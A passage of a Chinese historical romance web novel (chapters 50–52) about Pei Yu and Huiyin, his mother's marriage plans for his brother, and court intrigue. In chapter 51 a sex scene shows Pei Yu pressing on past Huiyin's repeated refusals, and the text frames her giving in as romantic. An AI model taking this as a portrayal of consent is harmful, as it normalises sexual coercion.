“你笑了。”裴彧猛然翻身坐起,动作牵连身后的伤口,他只皱皱眉,看着徽音问,“你这下是真的不生气了?” 徽音收了笑意,抿着看着他,“你先躺好。” 裴彧乖乖躺下去。 颜娘将清水和干净帕子放在榻边,将裴夫人刚刚吩咐人送过来的伤药也留下,轻手轻脚的退出去。 徽音拧干帕子,小心翼翼的擦拭裴彧背上的血痕,伤口横亘颇深,处罚之人手劲颇大,没半个月消不下去。 裴彧感受着后背徽音柔软都手掌在他背上轻抚,身体控制不住的颤栗,就像一片轻柔羽毛在背后来回扫动,疼痛和舒爽感遍布全身,爽得他眯起眼角轻轻呼气。 徽音看着身下人颤抖的背脊,以为是弄疼了他,动作不由得放更轻,这番小心翼翼的擦完他身上的血迹,徽音也累出一身汗。 她取过伤药均匀的倒在裴彧的背脊,苦涩的药味扑面而来,徽音用手轻轻抹开。 “嘶。” 裴彧突然弓起身,徽音的指甲不由得戳到他的伤口。 “怎么了?”徽音放下药,凑近裴彧跟前问。 裴彧的耳尖通红,他弓着的身体慢慢放回去,方才徽音摸到他的肩胛骨,他那独守空房的小兄弟受不了这个刺激,当即反应起来。 这么丢脸的事情当然不能说出口,裴彧头埋进软枕里,闷闷道:“没事。” 徽音看着他通红的后颈,伸手去探他的额头。 裴彧跟受惊的猫一样,条件反射的往后退。 徽音的手蹲在原地,看着他不自然的身体姿态,疑问,“你到底怎么了,哪不舒服?” 裴彧望着她清澈的眼底,终是忍不住心中的蠢蠢欲动,将人拉进怀里轻吻。 徽音本要挣扎,被他轻柔炽热的唇瓣含住,担心挣扎碰他的身后的伤,抬起的手轻轻落下,难耐的勾住身下的衣裙。 一吻方毕,裴彧抱着徽音在怀里轻轻喘气,窄腰不动声色的后悔,遮住下腹凸起的形迹。 徽音垂着眼,平复心绪。裴彧轻轻摸着她泛红的耳垂,另一只捧着她的转过来,低头凑上去,额抵着额。 他坏心眼的下压,高挺的鼻尖一下一下的轻碰徽音小巧的鼻头,呢喃道:“徽音,你得说出来,不要闷在心里。” “你心里的想法,你的疑问,你的伤心难过,你要说出来,要全部我告诉我。” 他将徽音的发丝别在耳后,慢慢跪在她身前,紧紧盯着她的眼,不容她闪躲,“就像前几天,你应该直接问我,你是不是要和李莹月定亲了?” “你在怕什么,徽音。” 徽音难受的朝后仰,捂住胸口摇摇头,她不知道,她害怕。 她在怕什么,她怕问出口会自取其辱,会看见裴彧讥讽的眼神,会听见他刻薄的话语。 徽音痛苦的抱住头,呼吸急促,“你不要……说了。” “徽音,看着我!”裴彧抱住她,抚着她的背脊不住的安慰,柔声道,“别害怕。” 他吻着徽音额头,将她整个纳入胸膛,喘息道:“你不该害怕,害怕的应该我是才对。” 徽音泪眼朦胧的抬头,“为什么是你害怕?” “因为我爱你,我想拥有你,想让你满心满眼的都是我。害怕你离开我,不再看我一眼,丢下我离开。” 徽音唇瓣颤抖,捂着唇流泪。她抱紧裴彧,脑袋紧紧埋在他的颈侧,滚烫的眼泪滑落进裴彧的伤口,令他浑身酥麻。 “我不敢问,我怕你会嘲笑我异想天开,你要娶谁,柳檀还是李莹月,我没资格过问……” “你有。”裴彧低头吻去她的眼泪,心中怜爱万分,声音柔的不像话,“只有你,不论从前还是往后,我都只要你一人。” 他单手捧住徽音的脸半强迫半哄着她抬头,深深吻下去,他勾勒着徽音的唇瓣,强势有力的破开她的檀口,唇齿交缠。 耳边是两人交缠搅弄的水声,徽音仰着头发出轻哼。 徽音喘不过气,下意识的朝退后,却被裴彧紧紧缠住的唇舌勾住,压着她不许逃跑。 她握紧拳头轻轻捶着身上的人,裴彧终于舍得从徽音唇上离开,看着她满面红潮盈盈春水的眼睛,他忍不住的又低头轻啄下去。 徽音别开脸,手脚并用的爬出他的怀抱,蹲在相对安全的位置捂着砰砰的胸口的喘气。 裴彧从榻上起身,刚敷好的药的伤口由开始涌出血,他却浑然不在意,仍由鲜血滴在地板上,径直朝徽音走去。 徽音睫毛盈泪,抬头望着他低泣,“你的伤?” “不碍事,”裴彧在衣摆上擦干血迹,单膝跪在徽音面前,语气引诱,”还有什么,你想问的都说出来?” 徽音微微仰着头,嘴唇未动,“我看见你和李莹月有说有笑的,你” 裴彧闷笑一声,胸腔振动,他无奈的叹道:“看来以后都不能和其他女子说话了,不然某人都得跟我闹。” 徽音满脸涨红,别过脸反驳,“我没有!” “李莹月拿你做筏子,我才同她说了几句话就去找你了,结果你人已经走了。” 裴彧摸着身后的伤微微蹙眉,他阿母今日是叫人下死手了,那几个亲兵都是战场上退下来的老将,手劲不小。 他没让徽音看出来他难受,摸着她的脑袋戏谑笑道:“现在明白了吧,下次有什么直接问我,别自己七想八想的,到头来折腾我。” 徽音咬着唇,眼神闪躲,她哪里有折腾他? 解释完后,裴彧也有些累,疲倦的倒在榻上闭目眼神,听着徽音在他身边忙忙碌碌,一会帮他擦药,一会收拾屋子。 他伸手将人拽过来,拉着人躺在身侧,轻声道:“徽音,给我生个孩子吧,生个孩子,一切就好了。” 徽音身体僵直,一动不动的看着裴彧,张了张口,才发现自己什么话都说不出来。 裴彧也没有要求她的回复,他真的累了,毛茸茸的脑袋埋在徽音颈间,抱着人沉沉睡去。 徽音老老实实的被他四肢并用的抱在怀里,耳边是裴彧平稳的呼吸,许是因为背后的伤疼痛,他睡梦中还皱着眉,唇色比往常要淡些,没了那双黑亮亮盯着人的眼睛,整个人都软和下来,鼻息浅浅打在她的肌肤上。 他并未穿上里衣,上身赤裸着,胸膛上的刀枪伤痕全部露出,徽音轻轻抬手摸上去,着些伤疤都是很就以前的了,摸在指腹下有些突兀,胳膊上的刀伤是新添的,已经长出粉嫩的新肉。 徽音闭上眼静静靠着裴彧,开始贪恋这难得的温情,她从没想过裴彧会这般待她,她知道裴彧是喜欢她的,可这喜欢里掺着欲,她并不信。 时至今日,裴彧对她的种种,让她清晰明了的知道,这份情她回应不起。从一开始她就是抱着别有用心的目的来到他身边,也从未想过和他的以后。 她开始害怕了,害怕东窗事发那日,裴彧厌恶痛恨的眼神,害怕这一刻难得的温情就此消失,徽音的泪落在颈间,沾湿裴彧的鬓角,他皱着的眉突然舒展开,呢喃道:“别哭。” 徽音捂住唇泣不成声,她在心底无声道,对不起,裴彧。 50-60 第51章 全凭他所愿 裴彧是在一阵曲调悠扬的乐声里醒来的, 身侧空落落的,徽音已经不在了,背后的伤应该是被人精心敷过药, 那股灼烧痛感已经消失,取而代之的是一股清凉滑腻感。 乐声未停, 裴彧慵懒的靠在榻上细品,虽然他品不出来什么感觉,但却听得出来是徽音所奏,心中肯定点点头, 真好听。 躺了一会后,刚醒的慵懒感散去, 裴彧捞起一旁放好的衣服穿上, 神清气爽的走出去。 徽音头发挽在一侧,发髻上簪着一朵洁白无瑕的玉兰花, 耳边坠着的珍珠耳铛莹润发光。她手下是一架通体玄黑的瑟,雕刻着一只栩栩如生的振翅高飞的凤凰。 她心情看起来很好,唇边一直带着浅浅的笑。 裴彧倚靠在门前,微微侧头看着屋檐下的徽音,他的心忽然重重的跳了一下, 周遭所有人的声音都悄然消失, 万籁俱寂之下, 只剩他鼓鼓跳动的心跳。 徽音弹奏完一曲, 她身侧陪着的颜娘碰碰她的手, 示意她朝门口望去。她抬眼, 望见裴彧满脸笑意的看着她,抬手鼓掌捧场,“如听仙乐尔。” 徽音害羞的抿抿唇, 摸着尚在颤抖的琴弦,低声问:“你的背还疼吗?” 裴彧走到院中,双手舒展,挑眉道:“这点伤,我还不放在眼底。” 徽音想起他身上的其他伤痕,与这些相比起来确实是小巫见大巫。 “这瑟从前怎么没见过?”裴彧来到徽音身前,低头打量。 徽音指尖微缩,犹豫半刻后还是说了实话,“是王寰送我的生辰礼。” 裴彧:“……他还真是不死心?” 他说这句话时声音很轻,徽音听的不甚清晰,“你说什么?” 裴彧扬扬手,“没什么,是个好东西。” 他坐到徽音身边,伸手掐着她的脸颊质问,“为何王寰都知道你的生辰,你却不告诉我?” 徽音一边解救自己的脸颊,一边回道:“你也没问我啊。” 裴彧余光瞥见那架瑟,不动声色的挡住徽音的视线移开它,从袖口掏出一个锦袋递给徽音,不在意道:“诺,生辰礼。” 徽音结果锦袋解开,里头放着一个的温润如玉的狼牙吊坠,牙身还有一个凹陷的小坑,她疑惑的抬眼看向裴彧。 裴彧不自然的移开眼,下巴抬起点点那架已经被踢开老远的瑟,清咳一声,“虽然没有那东西贵重,但这狼牙是我第一次胜仗的战利品,还曾为我挡下致命一击。我虽不信鬼神,但这东西确实有点用处,希望它能在我不在的时候保护你。” 他说的最后,声音越来越低,似乎是觉得这礼物有些拿不出手。 徽音提起吊坠,狼牙在两人中间微微晃荡,两人视线也慢慢交缠在一起,彷佛时间都变得静止。 裴彧看见徽音笑容灿如骄阳,眸光璀璨,“我很喜欢,谢谢你,裴彧。” 这声裴彧让他瞬即脊椎发麻,这是从未有过的感觉,胸口有些什么似乎要满得溢出来。 时隔多日,裴彧终于回到他心心念念的温软香玉中,沐浴后,他懒懒的躺在床上,单腿支起,手边放着一卷徽音给他找出来解闷的兵书。 屋外黑沉沉一片,室内温暖灯火摇曳,兵书对裴彧完全没有吸引力,他视线一直紧跟着忙碌的徽音,从她进来那刻起,到她坐在铜镜前通发,再到她坐在案几前提笔书写。 裴彧过去瞅了一眼,全是他不认识的怪异字体,看一眼头昏脑胀的那种。他仰头盯着青色的帷幔发呆,在心底慢慢数着时辰。 掐着戌时三刻的点,拉着徽音就要回床上睡觉。 徽音万分无奈的放下笔,眼底满是疑惑,“午时睡了很久,你怎么这么快就困了?” 裴彧身体一僵,胡乱回道:“我现在是伤者,精神不好。” 徽音想了想觉得有理,收拾好案几上的东西抱在怀里就要出去。 裴彧傻眼了,连忙拦住人,“你去哪?” 徽音抱着东西朝外走,“我还不困,你先休息,我去颜娘那里,不打扰你。” 裴彧 “……我不是这个意思,我是想让你陪着我。” 徽音被他拉着,回头便看见他低垂的眼,眉眼耷拢,与平时的锐利大为不同,眼含春水,想只乞求主人不要离开的大狗。 她心一软,脚步也停下,“好吧。” 两人并肩躺在床上,托白日睡多了的福,两人躺了半刻钟都没有睡意,徽音闭着眼属羊,身侧靠过来来一个身影,匍匐在她耳边吹气,“睡了?” 她翻了个身背对他,“你不是困了,还不睡?” 裴彧讪笑道:“白日确实睡多,不如做些别的吧?” 他伸手握住徽音的细腰,慢慢往下走。徽音一把抓住他作乱的手,转身对身后一脸欲色的裴彧一脸严肃:“你是伤者,不可以行那事。” 裴彧:“伤在背后,无事。” 徽音抓着他的手,坚定的摇摇头,“不行。” 裴彧目色沉沉,喉结微动,抵住徽音的后背低声道:“我难受,徽音,你帮帮我罢。” 徽音忍住心软,朝里头滚去,抓起被褥将自己裹的严严实实,言辞拒绝,“等你伤好再说。” 裴彧追过去,三两下就把徽音扒出来,细碎的吻落下,“真没事。” 徽音扭头躲避他,弓起身子喊,“不行,你给我睡回去。” 裴彧充耳不闻,单手摁住徽音去解她的寝衣,细腻白皙的肌肤在他眼前展开,徽音比刚到裴府时圆润些,该瘦的地方瘦,该大的地方也一点不含糊,叫人爱不释手。 徽音生气的拽着他的头发将人从身上拉起来,她唇抿得紧紧的,身体紧绷着,“你的伤!” 裴彧难耐的喘口气,不去理头皮上的刺痛,埋头下去。 没过一会,徽音就浑身软如春水,脱力的倒在榻上,裴彧将软成一团的人儿扶起靠在床柜上,捞过软枕垫在徽音身后,势如破竹的靠过去,发出舒爽的闷哼。 徽音咬着唇抓在他的肩侧,她怕抱住裴彧碰倒他的伤口,只能配合他行事。 云雨翻歇,徽音浑身颤栗的倒在床上,身后紧紧贴着裴彧滚烫的胸膛,她缓了口气,用着酸软的腿一脚蹬在裴彧身上,裹紧夏被怒斥,“你给我滚。” —— 翌日一早,裴彧神清气爽的从西院离开,他先是去东院看望裴夫人,裴夫人见他来不咸不淡的问了两句伤如何就把人赶走了。 裴彧遂朝苑林走去,刚到苑林,就见门口等着一个许久未见的身影。 方木热泪盈眶的扑上来,被裴彧侧身躲开扑了个空,他委屈的回头道:“少将军,我这趟可受了不少苦。” 裴彧迟疑一下,抬手拍拍他的肩膀,宽慰道:“你辛苦了,这几日好生歇歇。” 方木比去之前黑了两个度,他大声应好,笑的眯起眼,拿肩去撞一旁的驰厌,面露得意。驰厌无奈望天,这小子命真好,正好赶上少将军和宋娘子和好之际。 方木跟着裴彧往苑林大堂走,神色正经的禀告,“我到了代郡找到了与陈颉同年的几个老兵,并没有有用的信息,不过,有一人说曾见过陈颉的母家表兄来军营看过他几次。” 驰厌接话:“可陈颉母家并无男子啊?” “没错,”方木点点头,继续道,“我便追着陈颉表兄这条线查到他在代郡屡次落脚的酒肆,那酒肆是平阳侯府郑家在代郡的耳目。” 驰厌眉头一皱,“平阳侯居然早在多年前就在代郡安插耳目,大司马的亲卫也和他有关,他们究竟想做什么?” 裴彧倒是半分不吃惊,从宣帝扣下陈颉又将他秘密处死后,他就猜出一点苗头了。陈颉身后之人勾结匈奴板上钉钉,这是抄家灭族的大罪,和宣帝摆明是要护着那人。 能将匈奴人放进关内,必然是位高权重之人,犯下如此大罪却让宣帝甘愿保下的人,除了郑家,还有谁? 宣帝要保郑家他倒是不意外,帝王平衡之术罢了,太子和吴王长成,裴家和郑家相互制衡,谁也动不得谁。 所以宣帝会保下郑家,不让太子和裴家独大。同理,这也是裴彧为什么这几年来深受宣帝宠爱的原因,他比任何都清楚帝王无情。 只是令他没想到的是,郑家手伸的这么长,那五年前他父亲和匈奴在代郡的那一战,有没有郑家的身影? 裴彧平静道:“三日日是平阳侯寿辰,陛下特许他在平宁殿举办宴席,届时我去他们住处探一探。” —— 迎风馆,徽音坐在檐下用饭,胸前的挂着一串莹白的狼牙吊坠,这几日她起的都很迟,倒是省了一顿早饭的功夫。徽音叹了口气,不能在这么放纵下去,明日一定要早起。 颜娘头上的伤口已经长好结痂,褐色的痂壳在肌肤上异常显眼。徽音动作轻柔的替颜娘上药,再给她几天时间,帛书上的秘密就能显现,就能拿到扳倒苏家的物证了。 “啪——啪啪。” 隔壁东院传来一阵陶器破碎的声音,还有裴夫人的怒声呵斥。 徽音给一旁的阿蘅使了个眼色,示意她出去看看。没一会阿蘅就迈着小步跑过来,喘气道:“小郎君不知怎的惹女君生气,女君正在院里发脾气。” 徽音皱眉问:“没关门吗?” “没有,”阿蘅摇头,“奴婢听着好像是为这小郎君婚事一事。” 徽眉皱得更深了,裴夫人到底是裴彧的母亲,她做不到袖手旁观。她起身出了西院,东院门户大开,婢女们都挤在门口看热闹,窃窃私语。 陶媪留在裴府主事,并未跟着来行宫,裴夫人不管事,裴府的婢女都闲散不少。徽音走过去,散走人群不许她们议论,又吩咐人关紧大门。 东院里面已经一片狼藉,地上全是裴夫人摔碎的东西,裴夫人脸色铁青的站在院内,她的傅母乔媪正在一旁劝慰。 裴衍梗着脑袋,一脸倔强的站在中间,脸上还有一道刮伤。 徽音思虑片刻,吩咐人去把贺佳莹请来,她不想进去转移裴夫人的怒火,叫贺佳莹去劝是最好的。 阿蘅很快就回来了,“娘子,贺女郎今早就出门了。” 徽音还在门外犹豫是否要进去,里头的裴衍突然大声嚷道:“阿母你总是这样,总是不顾我和阿兄的意愿,打着为我们好的旗号,强迫我们做不喜欢的事!” “我已经有心悦之人,我绝不会娶冯安珺!” “你说什么!你再说一遍!” 徽音踏进去的脚步一顿,慢吞吞的收回来,躲在墙后听着。看来裴夫人奈何不了裴彧,便将主意都打到了裴衍身上,想叫他娶冯安珺。 裴衍说他已经有心悦之人,看来就是上次来裴府做客的上官素了。 裴衍一字一句的复述,“我已经有心悦之人,我绝不会娶……” 啪—— 清脆的耳光声响起,裴衍侧脸上浮现一道深深的巴掌印,裴夫人嘴唇泛白,指着裴衍说不出话,“你给我……滚,我没你……这个儿子。” 裴衍僵在原地,一动不动。 裴夫人难受的捂住胸口,呼吸困难的倒下去,眼皮上翻。 裴衍被吓住,手足无措的接住裴夫人毫无意识的身体,害怕道:“阿母,你别吓我!” 徽音听着里面不对劲的声音探头去看,就见裴夫人一脸青白的倒在裴衍怀里,身体抽搐。她心一紧,连忙吩咐阿蘅去请医官,提着裙跑进去。 裴衍见她到来,抬起发红的眼睛,哽咽道:“阿姊,怎么办” 乔媪在一旁悲嚎,徽音一时之间也有些心乱,但很快镇定下来,吩咐裴衍将裴夫人放平,掰开她咬得死死的嘴巴。 裴夫人躺在地上,只有进气没有出气,徽音跪在她身侧小心的帮她抚胸舒气。 裴夫人明显是气急攻心,颜娘也见过其他人这副模样,她迟疑道:“奴之前也见有人气急晕倒,掐人中也许有用?” 颜娘不确定这个法子对裴夫人是否有用,她的本意是让裴衍动手,这样即使没用也怪不到徽音身上。 谁知徽音听了这话,当机立断的掐上裴夫人的人中,颜娘阻止不急,循着记忆里旁人施救的模样拉起裴夫人的手掌,掐住她的虎口。 裴夫人胸膛渐渐平稳下来,眼神也不在翻白,徽音紧绷的身体慢慢松懈下来,此刻才发现手心满是冷汗,她并不在意裴夫人的性命,可裴夫人要是出事,裴彧一定会伤心,她不想让裴彧伤心。 裴衍看见裴夫人睁眼,呜咽一声跪到裴夫人身边哭嚎,眼泪鼻涕混作一团,原本俊秀的的面目也扭曲起来,他哽咽道:“阿母……你没事吧……儿子应您就是了……您别……” 裴夫人睁着眼,留下两行滚烫的眼泪,她咬紧牙关抬手摸了摸裴衍的脸,什么都没说。 徽音见她没事,吩咐裴衍将裴夫人抱进去好生安置,医官也在这时候赶到,徽音听着医官的诊断松了口气,裴夫人无大碍,只是得好生将养一阵子,不能再动气了。 她想了想,还是派人给裴彧递了个口信。 徽音并未离去,裴夫人躺在床上动弹不得,裴衍六神无主,乔媪也无法当事。她叫人配了药在檐下熬煮,拿着竹扇照看火炉,青烟袅袅,药香扑鼻。 里头裴衍正在裴夫人榻前认错,裴夫人虚弱的问他,心悦的是何人。裴衍如实相告,裴夫人听后沉默良久,道了句:“她家世太低,等以后你成婚了,纳进来做个妾吧。” 徽音摇扇的手顿了顿。 只听见裴衍痛苦的声音:“儿先有负于她,岂能再辱她。” 屋内渐渐没声,裴夫人喝了药沉沉睡去,裴衍萎靡不振的出门,跪坐在徽音身侧,满脸失意。 过了许久,他才涩着嗓子问:“阿姊,你听闻阿兄要娶旁人时是何心情?” 徽音不怎么会安慰失意的少年,如实相告,“一刀两断,再不相见。” 裴衍浑身一震,双手捂住脑袋,发出一声似哭非哭的低音,指缝见滴滴答答的落下几滴泪。 “我……说过要娶她的。” 徽音想起上官素,那是个很害羞的姑娘,她问,“你和她是怎么认识的?” 裴衍头埋得更低了些,他抹了把脸,双手撑在头顶,抓乱发髻,“之前在太学我屡次逃课,被上官夫子当庭扣下罚抄,她来给上官夫子送饭。夫子有事出去后,我就威胁她替我抄书。” 徽音缓缓侧头,“?” “她抄了吗?” 裴衍吸吸鼻子,点头,“抄了,我觉得她人还不错,后来一被夫子罚抄就找她。” 他说抬头看了一眼,发觉徽音一脸鄙夷的看着他,语无伦次的解释,“我……给她买东西了的……我给报酬了。” 徽音默默转回头,端着下巴思索,看起来像是上官素先喜欢的裴衍。 她细细打量了裴衍几眼,眼神破碎,眼角泛红,一副被伤透心的模样,五官精致昳丽,眼角眉梢已经能看出日后的风流姿态。 徽音也喜欢他这副模样,比他往日精神奕奕笑容灿烂要好看许多,无怪乎上官素也动心。 裴衍还在那里抽抽搭搭讲着和上官素的往事,丝毫没有注意已经回来的裴彧。 徽音看着门口的裴彧,也没有出声,裴衍和上官素,她帮不了他们,只有裴彧可以。 裴衍絮叨完后,难受的缩着鼻子,余光瞥见面前站着一个身影,他抬起头,嘴巴一瘪,大哭出声。 “阿兄,阿兄,我不想娶冯安珺!” 裴彧盯着幼弟通红的眼和狼狈的模样,抬手拍了拍他的头。 裴衍好似找到靠山一般,抱住裴彧的腿失声痛哭,“我想要素素,我只要素素……” “男子汉哭成这样丑不丑?”裴彧蹲下身,用衣袖擦干裴衍脸上的泪,笑道。 裴衍哽咽,“阿兄,求您帮帮我。” 裴彧看着裴衍这副抽泣的模样,好像回了到了幼时,裴衍就是个跟屁虫,从小就喜欢跟在他身后,路都走不稳就开始奶声奶气的叫着,“阿兄阿兄。” 等裴衍大了些后,正是人嫌狗憎的年纪,裴彧也烦这个哭包弟弟,每次总是偷偷甩开他独自出府玩乐。 直到有一天,裴衍落单被其他给欺负了,揍得鼻青脸肿的回家,哭着找裴彧给他做主。 裴彧二话不说带着裴衍就打了过去,最后,两兄弟都鼻青脸肿的回家,又被裴擎教训一顿。也是从那天起,裴彧不再嫌弃这个弟弟,总是会带着他。 他看着裴衍鼻涕眼泪混作一团,心中说不出的滋味,裴彧握着裴衍的肩膀站起身,替他整理好散乱的发髻,温和道:“回去收拾收拾,睡一觉,一切交给阿兄。” 裴衍泪眼朦胧三步一回头的离去,看见阿兄站在原地,像他第一次离开长安时那样朝自己挥手。 裴衍知道,只要阿兄在,他就不用操心一切。 他走后,裴彧看着徽音,摸摸她的脸,“今天吓到了吧?” 徽音摇摇头,“夫人无碍,你别太过忧心。裴衍的事,你打算如何和她说,医官说夫人现在不能动气。” 吱呀—— 两人回头望去,乔媪打开门,望着屋外的两人道:“少将军,夫人醒了,她想见您。” 裴彧收回手,按着徽音坐下,抬步进屋。 裴夫人脸色苍白的靠在凭栏上,单手按着额头发胀之处,见裴彧进来,她疲惫道:“坐吧。” 裴彧撩起衣袍跪坐在裴夫人榻前,端起药碗伺候她喝药。 裴夫人一脸痛苦的摆摆手,“太苦了,放着吧。” “阿母从前一直劝儿子良药苦口,怎么自己不肯用药了。”裴彧没听她的,将瓷勺递过去。 裴夫人皱眉咽下汤药,满脸苦意,“裴衍和冯家的婚事,你有话就说吧。” 裴彧喂完裴夫人放下碗,正色道:“阿母替我择李莹月,替阿衍择冯氏女,各中缘由我一清二楚。” 裴夫人忍不住道:“你既清楚,那为何不愿意娶李莹月?” 裴彧沉默良久,“我只要徽音。” 裴夫人压着咳意,忍不住流泪,“你不愿娶,我不逼你,毕竟这些年多亏你才撑住裴家。我虽是一介内宅夫人,却也知独木难成支。” “这些年,郑家子息颇丰,与长安官员贵戚交错联姻,已经长成枝繁叶茂的大家族,你再看看裴家,你两个叔叔都远离长安不掌实权,京中只有你一人苦苦撑着,一旦出事,他们鞭长莫及。” “母亲想替你和衍儿选两门有力的姻亲,有错吗?” 裴彧:“没错。” 裴夫人字字泣血,泪流满面,“那你们为何一个一个都觉得我是在害你们!你如此,衍儿如此!我是你们的母亲,我难道不想你们过得顺遂舒心吗?” “你为了裴家独自守在代郡五年,我心疼你,你不想娶其他人,我允就是。可你弟弟不成,他这些年受你庇护,总得为你做些什么吧!” 裴彧后退一步,磕头下去,沉声道:“母亲总觉得亏待了我,却忘了我是长子,照顾寡母幼弟本就是我的责任。阿衍,他想做什么就让他去做吧,我会替他遮风挡雨。” “你能护他一辈子吗!他又愿意躲在你的羽翼下一辈子吗!” 裴彧抬头,眼神沉静,一字一句道,“全凭他所愿。” 裴夫人泣不成声,长子愿意护着幼子,她本该高兴的。可她是真的心疼裴彧,心疼他独自挑起大梁,肩负重任,她只是想叫裴衍替他分担些。 她忘记了,孩子们大了,都有自己的想法,她不能多加干涉。裴夫人想起裴衍对她的指控,他说阿母总是打着为我们好的旗号,却从不问我们的意愿。 裴夫人闭上眼,万分无奈,“随你们去吧,我没精力管了。” 裴彧扶着裴夫人躺下,替她盖好被褥,望着寡母疲倦的面容,他心猛然一抽,涩然道:“阿母可得养好身体,我和阿衍的孩子还指望您呢。” 裴夫人鼻尖一酸,翻身朝里心酸流泪,“放心吧,教训不了你们两个大的,还教训不了你们的小子吗?” 裴彧失笑,“是。” 徽音听着里面的动静恢复平静,望着天空变幻的云层浅浅叹气,她没想到,裴夫人为两兄弟择妻居然是这个原因。 抛开裴夫人其他毛病不谈,她爱护孩子这一点倒是很好。 第52章 这世上少年夫妻能携手到…… 裴彧打开门走出来, 疲倦的目光在看见徽音那一刻泛起笑意,他走上前将人抱在怀里,头轻轻搁置在她肩上闭目不语。 徽音回抱住他, 来回抚摸着他的肩颈无声安慰。她蹭蹭裴彧的脸,轻吻他疲惫的眼角, “累了就歇会,我在呢。” 裴彧抱紧徽音,恨不得将怀中的人儿嵌进身体里去,这世上怎么会有如此合他心意的人, 叫他如此喜爱。 徽音从他怀中退出来,拉着他的手回了西院, 裴彧一路赶回来估计还没吃午饭, 她吩咐颜娘去备点吃食。 进了屋后,徽音拉着裴彧进入内室, 一脸正色,“陛下擅权衡之术,可我怎么看着郑家有压裴家一头的意思,你给我讲讲现在的形势?” 裴彧单手支头,抬手勾了勾徽音的鼻头, 含笑, “怎么, 怕裴家倒台?” 徽音一把拉下他的手, 拍着他的肩膀, 神色严肃, “你给我坐好了,我问什么就答什么!” 裴彧乖乖听话坐端正,连衣角都没乱, 他诚恳的看着徽音,“你问,我一定老实交代。” “郑家最近确实风头正盛,平阳侯四十寿诞,陛下特许他在平宁殿办宴席。” 平宁殿为皇家专属,拿出来给一个臣子举办宴席,确实是莫大的殊荣了。 徽音蹙着眉不语,这已经是莫大的殊荣了,陛下此举分明是在为吴王造势。难道传言是真的,他真的更加属意郑妃所出的吴王? 裴彧像是猜到徽音在想什么,他屈指敲敲她的脑门,“别想太多,陛下确实是抬举郑家,不过目前他还没有换太子的打算。” “陛下为何这般,他不是一向喜欢平衡两家势力吗?” 裴彧解释道:“广陵婚期定在今年十一月,陛下心疼这个女儿,再加上郑妃的枕边风,便想着给郑家多一些的殊荣。” 徽音垂下眼,广陵这事与她有着莫大的关系,而且广陵嫁给镇南王世子,势必会将镇南王拉到吴王的阵营。 目前郑家靠文臣,裴家靠武将,两相制衡,可若镇南王为郑家所用,那郑家吴王便是文武皆有,势力大增。 徽音此刻才明白,当初皇后为何会属意她为太子妃,因她父亲是除丞相外最大的文官,而丞相年迈,是纯臣只效忠于陛下。 宋家出事,苏家取代宋家的地位,太子妃便成了苏静好,也就说,太子和苏静好的婚事势在必得,不可逆转。 果然,下一刻裴彧便道:“皇后已经与陛下商议,将太子大婚订在年前。” 徽音心猛地一沉,若苏静好成为太子妃,那她还有望扳倒苏家吗?皇后和陛下会为了保护皇家颜面,裴彧会为了苏家身后的文官势力包庇苏家吗。 她不知道。 如果他们执意要保苏家,她只能投靠郑家和吴王,借由他们的势力拉下苏家,可这样一来,太子一党就会受到重创。 徽音闭上眼,脑中飞速思考着,她该怎么办。 裴彧见徽音久久不出声,担心她是吓住了,他拉住徽音的手,和她十指紧握,“别担心,若有一日我真的不行了,我一定送你走,不让任何人伤害你。” 徽音眼眶一酸,低下头流泪,“你别说这种晦气话。” 裴彧凑过去,无奈的擦着徽音的眼泪,“你怎么这么爱哭。” 徽音拍开他的手,反驳,“我才不爱哭。”只是她说这话的时候眼睛红红的,声音软软的,一点说服力都没有。 裴彧想,他真是有病,居然觉得徽音哭起来的模样实在可怜可爱。 “平阳侯寿宴,跟我一起去,好不好?” 徽音擦干眼泪,闻言一愣,眼皮还发红,“我去,不太好吧。” 裴彧一上午没用饭,肚子开始造反,他懒洋洋的在案桌上拿了个梨在手中啃着,一手将徽音揽在怀里,拿咬过的梨给她啃, 他不知想到什么,咬牙切齿道:“有什么不好,我就是要告诉大家宣告主权,你是我的,叫那些别有用心的人滚得远远的。” 徽音没听出他的言外之意,她低头咬了口梨,香甜的汁水在口中爆开。屋外颜娘在敲门,徽音起身出去取饭菜。 用饭时,裴彧突然想起来,朝徽音道:“你帮我个忙,裴衍那个心上人,帮我打听打听如何。” 徽音将香甜的烤饼掰成小块一点一点的吃着,闻言有些迟疑,毕竟替小叔子看未来妻子这事是嫂嫂该做的事情。 她私心里其实不想掺和进裴家这些私事里,裴夫人一事是迫不得已,至于裴衍的婚事,她不太想管。 徽音咽下烤饼,毫不留情的拒绝,“你让贺佳莹去。” 裴彧听闻只是挑了挑眉,点头示意自己知晓了。 他下午还要去苑林上衙,用完饭,裴彧离开迎风馆,才出门就看见裴衍一脸菜色的等在门口。 他慢悠悠的晃过去,裴衍一见他就眼神发亮的迎上来,迫不及待的问,“阿兄,阿母如何说?” 裴彧望着裴衍不说话,眼神发沉。裴衍心瞬间跌倒谷里,连阿兄出马都说服不了阿母吗? 裴衍唇齿发颤,身形摇晃。裴彧见差不多了清咳一下,万分为难道:“阿母倒是松了口,只是……” “只是什么!”裴衍反手抓住裴彧,紧张兮兮的问道。 “你那心上人的品性不知如何,她放心不下。” 裴衍立马指天发誓,“她是世上最好的姑娘。” 裴彧故作高深的摇摇头,“你说的不做数,得找个她信服的人去说。” 裴衍拧着眉头仔细思考人选,久久不语。 裴彧无语的看了眼傻弟弟,再次出声提醒,“你嫂嫂就很不错。” “嫂嫂?”裴衍疑惑,好半天才反应过来,“我这就去找徽音阿姊,不,是嫂嫂帮忙!” 裴彧勾唇一笑,徽音跟他斗,还嫩了点。 —— 里屋之内,帷幔层层垂下,不用置冰亦觉得清凉,案几上错金山庐檀香青烟袅袅上升。 徽音翻译的了古文字觉得眼睛有些累,趴在竹席上午睡一阵,申时初才醒。 颜娘听进里屋传来动静连忙小跑进来,凑在尚未完全清醒的徽音耳边低语,“小郎君来了,已经等了半个时辰了。” 徽音打了个哈欠坐起身,“怎么不早来喊我?” “小郎君不让,说是有求于你。”颜娘递了块打湿的帕子过去给徽音擦脸。 “求我?” 徽音一脸迷茫,裴衍有什么事要求她,她弯腰穿鞋,突然想起午间裴彧所言,上官素品性一事。 她穿鞋的动作一顿,瞬间明白裴衍为何事所来。该死的裴彧,她都说不想管了,他倒是好心机,让裴衍来找她,是吃准了她不会拒绝是吗? 徽音收拾好出门时,裴衍正一脸“谦和”的要帮着阿蘅扫院角,伸手去夺扫帚。阿蘅满脸惊恐,连连摆手拒绝。 “裴衍。”徽音打断二人的争抢,朝裴衍勾勾手。 